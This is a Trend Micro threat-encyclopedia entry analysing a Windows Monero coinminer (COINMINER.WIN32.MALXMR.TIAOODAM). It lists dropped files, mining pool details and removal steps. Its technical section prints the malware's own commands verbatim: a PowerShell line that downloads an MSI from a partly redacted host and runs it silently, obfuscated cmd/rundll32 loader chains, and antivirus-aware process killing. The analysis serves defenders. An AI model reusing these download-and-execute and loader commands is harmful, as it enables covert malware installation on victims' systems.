COINMINER.WIN32.MALXMR.TIAOODAM
Windows
Threat Type: Coinminer
Destructiveness: No
Encrypted: Yes
In the wild: Yes
OVERVIEW
Dropped by other malware, Downloaded from the Internet
This Coinminer arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
2,412,544 bytes
Other
Yes
06 Nov 2018
Connects to URLs/IPs, Downloads files
Arrival Details
This Coinminer arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Coinminer drops the following files:
- %User Temp%\{8 Random Characters}.msi → Downloaded file
- %User Temp%\[{6 Random Characters}] → Coinminer configuration
- %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}\data.bin
- %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}\dafault.ocx
- %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}\ex.exe → normal file a unzipping tool
- %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}\f.bat → Detected as Trojan.BAT.TASKILL.AA
- %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}\icon.ico → Detected as ADW_FileTour
- %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\FRERES32.ini
- %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\SpyGlass.ini
- %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\_setup.ini
- %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\bin.dat
- %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\plugin.cx
- %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\f.bat → Detected as Trojan.BAT.TASKILL.AA
- %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\ex.exe → normal file a unzipping tool
- %User Temp%\{6 Random Characters}.cmD
(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, and 8.. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, and 8.)
It creates the following folders:
- %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}\ → Create in first run
- %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\ → Create when the coinminer process has been terminated
(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, and 8.)
Download Routine
This Coinminer connects to the following website(s) to download and execute a malicious file:
- https://{BLOCKED}in1709.info/update.txt
Other Details
This Coinminer does the following:
- It uses the following details for its coin mining routine:
- Algorithim: cryptonight
- Username: {BLOCKED}1xWHG1vywX2xTV8XZzbzB1E2QHEF9GtzPhSPRdK5TEkxXGRxVdAq8LwbA2Pz7jNQ9gYBxeFPHcqiiqaGJM2QyW64C
- Password: soft-net
- URL: {BLOCKED}.{BLOCKED}.{BLOCKED}4.170:2223
- It creates the following processes in first run:
- Executes the f.bat (Kills the coinminer installer process if AVAST/AVG is installed in the system):
- cmd /c ""%Application Data%\Microsoft\Windows\Templates\\FileZilla Server\{6 Digit System Time}\f.bat" "
- Extract icon.ico (password: icon):
- cmd" /c "cd "%Application Data%\Microsoft\Windows\Templates\\FileZilla Server\"&ex -o -P icon icon.ico"
- Create a sub folder and move all drop files, then uses the rundll32.exe to load the function Entry from default.ocx:
- "cmd" /v:on /c "set iao=rundll32&set poq=%time:~6,2%%time:~0,2%%time:~3,2%&mKdir "%Application Data%\Microsoft\Windows\Templates\\FileZilla Server\!poq!"&cd "%Application Data%\Microsoft\Windows\Templates\\FileZilla Server\!poq!\"&move /y "%Application Data%\Microsoft\Windows\Templates\\FileZilla Server\*.*" "%Application Data%\Microsoft\Windows\Templates\\FileZilla Server\!poq!"\&!iao! default.ocx,Entry u"
- Force close msiexec:
- "%System%\taskkill.exe" /IM msiexec.exe /F
- It downloads the msi installer in %User Temp%:
- "%System%\WindowsPowerShell\v1.0\powershell.exe" -command "$cli = new-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'Windows Installer';$f = ' %User Temp%\\{8 Random Characters}.msi'; $cli.DownloadFile('https://{BLOCKED}in1709.info/update.txt', $f);Start-Process $f -ArgumentList '/q'"
- Executes the downloaded file:
- "%System%\msiexec.exe" /i "%User Temp%\{8 Random Characters}.msi" /q
- Executes the f.bat (Kills the coinminer installer process if AVAST/AVG is installed in the system):
- cmd /c ""%Application Data%\Microsoft\Windows\Templates\\Response Center\{6 Digit System Time}\f.bat" "
- Extract plugin.cx (password: ZvDggW):
- "cmd" /c "cd "%Application Data%\Microsoft\Windows\Templates\\Response Center\"&ex -o -P ZvDggW plugin.cx"
- Create a sub folder and move all drop files, then uses the rundll32.exe to load the function Entry from _setup.ini:
- "cmd" /v:on /c "set iao=rundll32&set poq=%time:~6,2%%time:~0,2%%time:~3,2%&mKdir "%Application Data%\Microsoft\Windows\Templates\\Response Center\!poq!"&cd "%Application Data%\Microsoft\Windows\Templates\\Response Center\!poq!\"&move /y "%Application Data%\Microsoft\Windows\Templates\\Response Center\*.*" "%Application Data%\Microsoft\Windows\Templates\\Response Center\!poq!"\&!iao! _setup.ini,Entry u"
- Deletes all files in the create folder:
- cmd /c ""%User Temp%\{6 Random Characters}.cmD" "
- Executes the f.bat (Kills the coinminer installer process if AVAST/AVG is installed in the system):
NOTES:
The 6 Digit System Time example is 071756 where 07 is milliseconds, 17 is hours, 56 is minutes.
FRERES32.ini is a Library to get free system resources on Windows 9x/ME from Total Commander. SpyGlass.ini is a Library of a software by InqSoft Window Scanner.
SOLUTION
9.850
14.610.03
06 Nov 2018
14.611.00
07 Nov 2018
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Restart in Safe Mode
Step 4
Search and delete this file
- %User Temp%\{8 Random Characters}.msi
- %User Temp%\[{6 Random Characters}]
- %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}\data.bin
- %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}\dafault.ocx
- %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}\ex.exe
- %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}\f.bat
- %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}\icon.ico
- %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\FRERES32.ini
- %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\SpyGlass.ini
- %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\_setup.ini
- %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\bin.dat
- %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\plugin.cx
- %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\f.bat
- %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}\ex.exe
- %User Temp%\{6 Random Characters}.cmD
Step 5
Search and delete these folders
- %Application Data%\Microsoft\Windows\Templates\FileZilla Server\{6 Digit System Time}
- %Application Data%\Microsoft\Windows\Templates\Response Center\{6 Digit System Time}
Step 6
Restart in normal mode and scan your computer with your Trend Micro product for files detected as COINMINER.WIN32.MALXMR.TIAOODAM. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
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